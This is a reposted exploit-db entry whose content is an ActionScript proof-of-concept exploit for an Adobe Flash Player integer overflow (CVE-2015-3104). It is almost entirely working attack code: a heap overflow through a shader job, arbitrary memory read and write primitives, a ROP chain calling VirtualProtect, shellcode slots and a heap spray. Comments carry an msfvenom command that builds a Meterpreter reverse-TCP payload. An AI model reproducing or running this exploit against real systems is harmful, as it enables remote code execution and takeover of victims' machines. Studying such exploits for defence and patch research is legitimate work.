Adobe Flash Player – Integer Overflow

  • 作者: ryujin
    日期: 2017-01-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50290/
  • // Exploit Title: Adobe Flash Player - Integer Overflow
    // Exploit Author: Matteo Memelli (ryujin@offensive-security)
    // Date: 14/01/2017
    // Original PoC: https://bugs.chromium.org/p/project-zero/issues/detail?id=323&can=1&q=Shader
    // CVE: CVE-2015-3104
    // Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3104
    
    package
    {
    import flash.display.*;
    import flash.utils.ByteArray;
    import flash.events.Event;
    import flash.events.MouseEvent;
    import flash.text.*
    import mx.utils.Base64Decoder;
    
    public class ShaderInputOverflow extends Sprite
    {
    	public var bb:ByteArray = null;
    	public var allocate:Array;
    	public var MAX_ARRAY:uint = 81920;
    	public var text:TextField = new TextField();
    	public var gText:String = "";
    	public var corrupted:uint = 0;
    	public var corrupted_ba_address:uint = 0;
    	public var corrupted_ba_pos:uint = 0;
    	public var next_ba_address:uint = 0;
    	public var NPSWF32Base:uint = 0;
    
    public function ShaderInputOverflow():void
    {
    		if (stage) drawText();
    		else addEventListener(Event.ADDED_TO_STAGE, drawText);
    		drawText();
    
    		var i:uint;
    		allocate = new Array();
    
    		for (i = 0; i < MAX_ARRAY; i++) {
    		bb = new ByteArray();
    		bb.writeByte(0x57);
    		bb.writeByte(0x30);
    		bb.writeByte(0x30);
    		bb.writeByte(0x54);
    		bb.writeByte(0x57);
    		bb.writeByte(0x30);
    		bb.writeByte(0x30);
    		bb.writeByte(0x54);
    		bb.writeByte(0x57);
    		bb.writeByte(0x30);
    		bb.writeByte(0x30);
    		bb.writeByte(0x54);
    		bb.writeByte(0x57);
    		bb.writeByte(0x30);
    		bb.writeByte(0x30);
    		bb.writeByte(0x54);
    		allocate.push(bb);
    		}
    
    		// We create "holes" of size 0x18 bytes on the heap
    		i = MAX_ARRAY/2;
    		while (i<MAX_ARRAY)
    		{
    		if (i % 2 != 0) {
    			allocate[i] = null;
    		}
    		i++;
    		}
    
    		var ba:ByteArray = new ByteArray();
    		ba.writeByte(0xa1);// Define parameter?
    		ba.writeByte(0x02);// Output.
    		ba.writeByte(0x04);// Type: 4 floats.
    		ba.writeByte(0x00);// 16-bit field, ??
    		ba.writeByte(0x01);
    		ba.writeByte(0xff);// Mask.
    		ba.writeByte(0x41);
    		ba.writeByte(0x00);// Param name: 'A'
    		ba.writeByte(0xa3);// Add texture?
    		ba.writeByte(0x00);// Index?
    		ba.writeByte(0x40);// 64 channels.
    		ba.writeByte(0x42);
    		ba.writeByte(0x42);
    		ba.writeByte(0x42);
    		ba.writeByte(0x42);
    		ba.writeByte(0x00);// Texture name: 'BBBB'
    		ba.position = 0;
    		var baOut:ByteArray = new ByteArray();
    		var baIn:ByteArray = new ByteArray();
    
    		// Overwrite ByteArray::Buffer Object capacity field with 0xffffffff
    		// and the pointer to the data to 0x16000000
    
    		baIn.writeUnsignedInt(0x6230306e);
    		baIn.writeUnsignedInt(0x6230306e);
    		baIn.writeUnsignedInt(0x41414141); // ptr
    		baIn.writeUnsignedInt(0x41414141); // 0x1
    
    		// Offset can be 0x10 bytes
    		baIn.writeUnsignedInt(0x16000000); // ptr to data
    		baIn.writeUnsignedInt(0xffffffff); // capacity
    		baIn.writeUnsignedInt(0x16000000); // length / ptr to data
    		// Another time in case the offset is 0x8 bytes
    		baIn.writeUnsignedInt(0xffffffff); // capacity
    		baIn.writeUnsignedInt(0xffffffff); // length
    
    		var job:ShaderJob = new ShaderJob();
    		var shader:Shader = new Shader();
    		shader.byteCode = ba;
    		shader.data.BBBB.width = 8192;
    		shader.data.BBBB.height = 8192;
    		shader.data.BBBB.input = baIn;
    		job.target = baOut;
    		job.width = 1;
    		job.height = 1;
    		job.shader = shader;
    
    		// We need to catch the Error thrown by Flash to continue the execution
    		// job.start triggers the copy that causes the heap overflow
    		try
    		{
    			job.start(true);
    		}
    		catch (err:Error)
    		{
    			trace("w00t");
    		}
    		var s:spray = new spray();
    		corrupted = findCorrupted();
    		allocate[corrupted].position = 0;
    		gText += "The corrupted ByteArray object is at index " + corrupted.toString() + " of the 'allocate' array\n";
    		gText += "The length of the corrupted ByteArray is " + (allocate[corrupted].length).toString(16) + "\n";
    		findCorruptedAddress();
    		gText += "Corrupted ByteArray::Buffer object address 0x" + (corrupted_ba_address).toString(16) + "\n";
    		var NPSWF32Ptr:uint = readDword((corrupted_ba_address+0x18*2));
    		gText += "NPSWF32Ptr: 0x" + NPSWF32Ptr.toString(16) + "\n";
    		NPSWF32Base = findNPSWF32_Base(NPSWF32Ptr);
    		gText += "NPSWF32Base Address: 0x" + NPSWF32Base.toString(16) + "\n";
    
    		// Look for the corrupted ByteArray::Buffer object address
    		var tosearch:uint = corrupted_ba_address;
    		gText += "Ptr to search: 0x" + tosearch.toString(16) + "\n";
    		var VTableObj:uint = findVTable(tosearch);
    		gText += "VTable Address: 0x" + VTableObj.toString(16) + "\n";
    		updateText();
    
    		var methodEnvVtable:uint = readDword(VTableObj+0xd4);
    		gText += "methodEnvVtable Address: 0x" + methodEnvVtable.toString(16) + "\n";
    		updateText();
    
    		// Crash on the Jitted pointer dereference that leads to code execution
    		//writeDword((VTableObj+0xd4), 0x42424242);
    
    		// Control the Jitted pointer dereference that leads to code execution
    		writeROPChain(NPSWF32Base);
    
    		// Decode and Write the files for the privilege escalation to memory
    		var dll:ByteArray = new ByteArray();
    		var met:ByteArray = new ByteArray();
    		var dec1:Base64Decoder = new Base64Decoder();
    		var dec2:Base64Decoder = new Base64Decoder();
    		// sandbox exploit code
    		dec1.decode("YOUR BASE64 PRIVESC SANDBOX ESCAPE DLL CODE HERE");
    		dll = dec1.toByteArray();
    
    		// msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=YOURIP -e generic/none -f exe > pwnd.exe
    		// base64 pwnd.exe | tr --delete '\n'
    		// Meterpreter executable or any other payload…
     		dec2.decode("YOUR BASE64 METERPRETER CODE HERE");
    		met = dec2.toByteArray();
    		writeBytes(0x1a100000, met);
    		writeBytes(0x1a200000, dll);
    
    		writeDword((VTableObj+0xd4), 0x1a000000);
    		gText += allocate[corrupted].toString();
    }
    
    	private function hexStringToByteArray(hexstring:String) : ByteArray
    {
    		var bindata:ByteArray = new ByteArray();
    		bindata.endian = "littleEndian";
    		var hexstr:String = null;
    		var count:uint = 0;
    		while(count < hexstring.length)
    		{
    			hexstr = hexstring.charAt(count) + (hexstring.charAt(count + 1));
    			bindata.writeByte(parseInt(hexstr, 16));
    			count += 2;
    		}
    		return bindata;
    	}
    
    	private function writeROPChain(NPSWF32Base:uint):void
    	{
    
    		var ROPaddr:uint = 0x1a00CBE2;
    
    		writeDword(0x1a000004, (NPSWF32Base+0x00418a60)); 				// PIVOT XCHG ECX,ESP...
    
    		// Save stack information to restore the execution flow after shellcode
    		writeDword(0x1a000000, (NPSWF32Base+0x00007324)); 				// POP EAX # RETN
    		writeDword(ROPaddr, 0x1a000400); ROPaddr +=4 ;					// SAVE ECX VALUE HERE
    		writeDword(ROPaddr, (NPSWF32Base+0x0000268e)); ROPaddr +=4 ;	// MOV [EAX],ECX # RETN
    		writeDword(ROPaddr, (NPSWF32Base+0x00007324)); ROPaddr +=4 ;	// POP EAX # RETN
    		writeDword(ROPaddr, 0x1a000404); ROPaddr +=4 ;					// SAVE EBX VALUE HERE
    		writeDword(ROPaddr, (NPSWF32Base+0x000064c54)); ROPaddr +=4 ;	// MOV [EAX],EBX # POP EBX # POP ECX; RETN
    		writeDword(ROPaddr, 0x41414141); ROPaddr +=4 ;					// JUNK
    		writeDword(ROPaddr, 0x42424242); ROPaddr +=4 ;					// JUNK
    
    		// Mona Chain
    		writeDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ;	// POP EBP # RETN
    		writeDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ;	// POP EBP # RETN
    		writeDword(ROPaddr, (NPSWF32Base+0x0077c1eb)); ROPaddr +=4 ;	// POP EBX # RETN
    		writeDword(ROPaddr, 0x00000201); ROPaddr +=4 ;
    		writeDword(ROPaddr, (NPSWF32Base+0x007fff57)); ROPaddr +=4 ;	// POP EDX # RETN
    		writeDword(ROPaddr, 0x00000040); ROPaddr +=4 ;
    		writeDword(ROPaddr, (NPSWF32Base+0x00b433a9)); ROPaddr +=4 ;	// POP ECX # RETN
    		writeDword(ROPaddr, (NPSWF32Base+0x00f7e6f5)); ROPaddr +=4 ;	// &Writable location
    		writeDword(ROPaddr, (NPSWF32Base+0x00b1ad8f)); ROPaddr +=4 ;	// POP EDI # RETN
    		writeDword(ROPaddr, (NPSWF32Base+0x00273302)); ROPaddr +=4 ;	// ROP NOP # RETN
    		writeDword(ROPaddr, (NPSWF32Base+0x006cb604)); ROPaddr +=4 ;	// POP ESI # RETN
    		writeDword(ROPaddr, (NPSWF32Base+0x0000d98f)); ROPaddr +=4 ;	// JMP [EAX]
    		writeDword(ROPaddr, (NPSWF32Base+0x002742d3)); ROPaddr +=4 ;	// POP EAX # RETN
    		writeDword(ROPaddr, (NPSWF32Base+0x00b7d364)); ROPaddr +=4 ;	// ptr to VirtualProtect IAT
    		writeDword(ROPaddr, (NPSWF32Base+0x00a4a349)); ROPaddr +=4 ;	// PUSHAD # RETN
    		writeDword(ROPaddr, (NPSWF32Base+0x0015fce4)); ROPaddr +=4 ;	// PTR TO JMP ESP
    
    		// NOPsled
    		writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ;					// nopsled
    		writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ;					// nopsled
    		writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ;					// shellcode
    
    		var Shellcode:String = new String();
    
    		Shellcode += "..... YOUR SANDBOX EVASION SHELLCODE HERE ... ";
    		writeBytes(ROPaddr, hexStringToByteArray(Shellcode)); ROPaddr += Shellcode.length/2;
    
    		// Restore component
    		// 1a00cc56 8b0d0004001amov ecx,dword ptr ds:[1A000400h]
    		// 1a00cc5c 8b1d0404001amov ebx,dword ptr ds:[1A000404h]
    		// 1a00cc62 28d9sub cl,bl
    		// 1a00cc64 87ccxchgecx,esp
    		// 1a00cc66 8becmov ebp,esp
    		// 1a00cc68 83c52cadd ebp,2Ch
    		// 1a00cc6b 31c0xor eax,eax
    		// 1a00cc6d c3ret
    		var Restore:String = new String();
    		Restore = "8b0d0004001a8b1d0404001a28d987cc8bec83c52c31c0c3";
    		writeBytes(ROPaddr, hexStringToByteArray(Restore)); ROPaddr += Restore.length/2;
    	}
    
    	private function findVTable(startAddress:uint):uint
    	{
    		// Find the VTable Object Address within the ByteArrayObject
    		allocate[corrupted].endian = "littleEndian";
    		var addr:uint = 0;
    		var base:uint = 0x16000000;
    		var bstart:uint = base;
    		var count:uint = 0;
    		while (true)
    		{
    			if (readDword(base) == startAddress)
    			{
    				addr = bstart+count;
    				// ByteArray::Buffer pointer is at offset +0x40
    				addr = addr - 0x40;
    				// VTable Object pointer is at +0x8
    				return readDword(addr+0x8);
    			}
    			else
    			{
    				base+= 4;
    				count += 4;
    			}
    		}
    		return addr;
    	}
    
    	private function findNPSWF32_Base(NPSWF32Ptr:uint):uint
    	{
    		// Find a DLL base address by appling the scan down technique
    		var addr:uint = NPSWF32Ptr & 0xfffff000;
    		while (true)
    		{
    			if (readDword(addr) == 0x00905a4d)
    			{
    				return addr;
    			}
    			else
    			{
    				addr = addr - 0x1000;
    			}
    		}
    		return addr;
    	}
    
    	private function readDword(pAddress:uint):uint
    	{
    		// Read a DWORD from an address
    		// by changing the ptr to array of bytes
    		var tmpIndex:uint = 0;
    		var res:uint = 0;
    
    		// Change ptr to array of bytes
    		tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
    		allocate[corrupted].position = tmpIndex;
    		allocate[corrupted].writeUnsignedInt(pAddress);
    		allocate[corrupted].position = 0;
    		// Read a DWORD from the new address
    		res = allocate[corrupted].readUnsignedInt();
    		// Reset ptr to array of bytes to 0x16000000
    		tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
    		allocate[corrupted].position = tmpIndex;
    		allocate[corrupted].writeUnsignedInt(0x16000000);
    		return res;
    	}
    
    	private function writeDword(pAddress:uint, value:uint):void
    	{
    		// write a DWORD to an address
    		// by changing the ptr to array of bytes
    		var tmpIndex:uint = 0;
    		// Change ptr to array of bytes
    		tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
    		allocate[corrupted].position = tmpIndex;
    		allocate[corrupted].writeUnsignedInt(pAddress);
    		allocate[corrupted].position = 0;
    		// Read a DWORD from the new address
    		allocate[corrupted].writeUnsignedInt(value);
    		// Reset ptr to array of bytes to 0x16000000
    		tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
    		allocate[corrupted].position = tmpIndex;
    		allocate[corrupted].writeUnsignedInt(0x16000000);
    	}
    
    	private function writeBytes(pAddress:uint, data:ByteArray):void
    	{
    		// write a ByteArray to an address
    		// by changing the ptr to array of bytes
    		var tmpIndex:uint = 0;
    		// Change ptr to array of bytes
    		tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
    		allocate[corrupted].position = tmpIndex;
    		allocate[corrupted].writeUnsignedInt(pAddress);
    		allocate[corrupted].position = 0;
    		// Read a ByteArray tp the new address
    		allocate[corrupted].writeBytes(data, 0, 0);
    		// Reset ptr to array of bytes to 0x16000000
    		tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
    		allocate[corrupted].position = tmpIndex;
    		allocate[corrupted].writeUnsignedInt(0x16000000);
    	}
    
    private function findCorruptedAddress():void
    {
    allocate[corrupted].position = 0;
    allocate[corrupted].endian = "littleEndian";
    while (true)
    {
    if(allocate[corrupted].readUnsignedInt() == 0x6230306e)
    {
    if(allocate[corrupted].readUnsignedInt() == 0x6230306e)
    {
    // Corrupted Object starts just after the second 0x6230306e tag in case the offset is 0x10
    // otherwise after the two 0x41414141 dwords in case the offset is 0x8
    
    // OFFSET 0x10 LENGTH = 0x16000000
    if (allocate[corrupted].length == 0x16000000)
    corrupted_ba_pos = allocate[corrupted].position;
    // OFFSET 0x8LENGTH = 0xffffffff
    else
    corrupted_ba_pos = allocate[corrupted].position + 0x8;
    // We calculate the address of the corrupted object by using the index
    // and the base address that we set through the heap overflow.
    corrupted_ba_address = 0x16000000 + corrupted_ba_pos;
    // Since every in-use ByteArray object is alternated with a free one
    // (we created the holes), the next in-use ByteArray is at 0x18*2 bytes
    // from the corrupted one.
    next_ba_address = corrupted_ba_address + 0x18*2;
    return;
    }
    }
    }
    return;
    }
    
    	private function findCorrupted():uint
    	{
    		// Find the corrupted ByteArray::Buffer object.
    		// We can find it by checking for a size different from the
    		// original 0x10 bytes, since the ByteArray data is 16 bytes
    		// for all the objects we allocated, except the corrupted one.
    		var i:uint = MAX_ARRAY/2;
    		while (i<MAX_ARRAY)
    		{
    			if (i % 2 == 0)
    			{
    				if(allocate[i].length != 0x10)
    				{
    					return i;
    				}
    			}
    			i++;
    		}
    		return 0;
    	}
    
    	public function updateText(e:Event = null):void
    	{
    		text.text = gText;
    	}
    
    	public function drawText(e:Event = null):void
    	{
    		removeEventListener(Event.ADDED_TO_STAGE, drawText);
    
    		text.text = gText;
    		text.width = 300;
    		text.height = 100;
    		text.x = 10;
    		text.y = 10;
    		text.multiline = true;
    		text.wordWrap = true;
    		text.background = true;
    		text.border = true;
    		var format:TextFormat = new TextFormat();
    		format.font = "Verdana";
    		format.color = 0xff0000;
    		format.size = 8;
    		text.defaultTextFormat = format;
    		addChild(text);
    		text.addEventListener(MouseEvent.MOUSE_DOWN, mouseDownScroll);
    	}
    
    	public function mouseDownScroll(event:MouseEvent):void
    	{
    		text.scrollV++;
    	}
    
    }
    }
    
    import flash.display.MovieClip;
    import flash.utils.*;
    class spray extends MovieClip
    {
    	public var allocate:Array;
    
    	public function spray()
    	{
    		HeapSpray();
    	}
    
    	public function HeapSpray() : void
    	{
    		var chunk_size:uint = 1048576;// 0x100000
    		var block_size:uint = 65536;// 0x10000
    		var heapblocklen:uint = 0;
    		var spraychunks:uint = 0;
    		var heapblock1:ByteArray;
    		var heapblock2:ByteArray;
    		var heapblock3:ByteArray;
    
    		heapblock1 = new ByteArray();
    		heapblock1.endian = Endian.LITTLE_ENDIAN;
    
    		heapblock1.writeInt(0x41424344);
    		heapblocklen = heapblocklen + 4;
    		while(heapblocklen < block_size)
    		{
    			heapblock1.writeByte(0x0d); // padding to 64K
    			heapblocklen = heapblocklen + 1;
    		}
    
    		heapblock2 = new ByteArray();
    
    		while(heapblock2.length < chunk_size)
    		{
    			heapblock2.writeBytes(heapblock1, 0, heapblock1.length);
    		}
    
    			allocate = new Array();
    
    		// 600MB spray
    		while(spraychunks < 50)
    		{
    			heapblock3 = new ByteArray();
    			heapblock3.writeBytes(heapblock2, 0, heapblock2.length);
    			allocate.push(heapblock3);
    			spraychunks = spraychunks + 1;
    		}
    	}
    }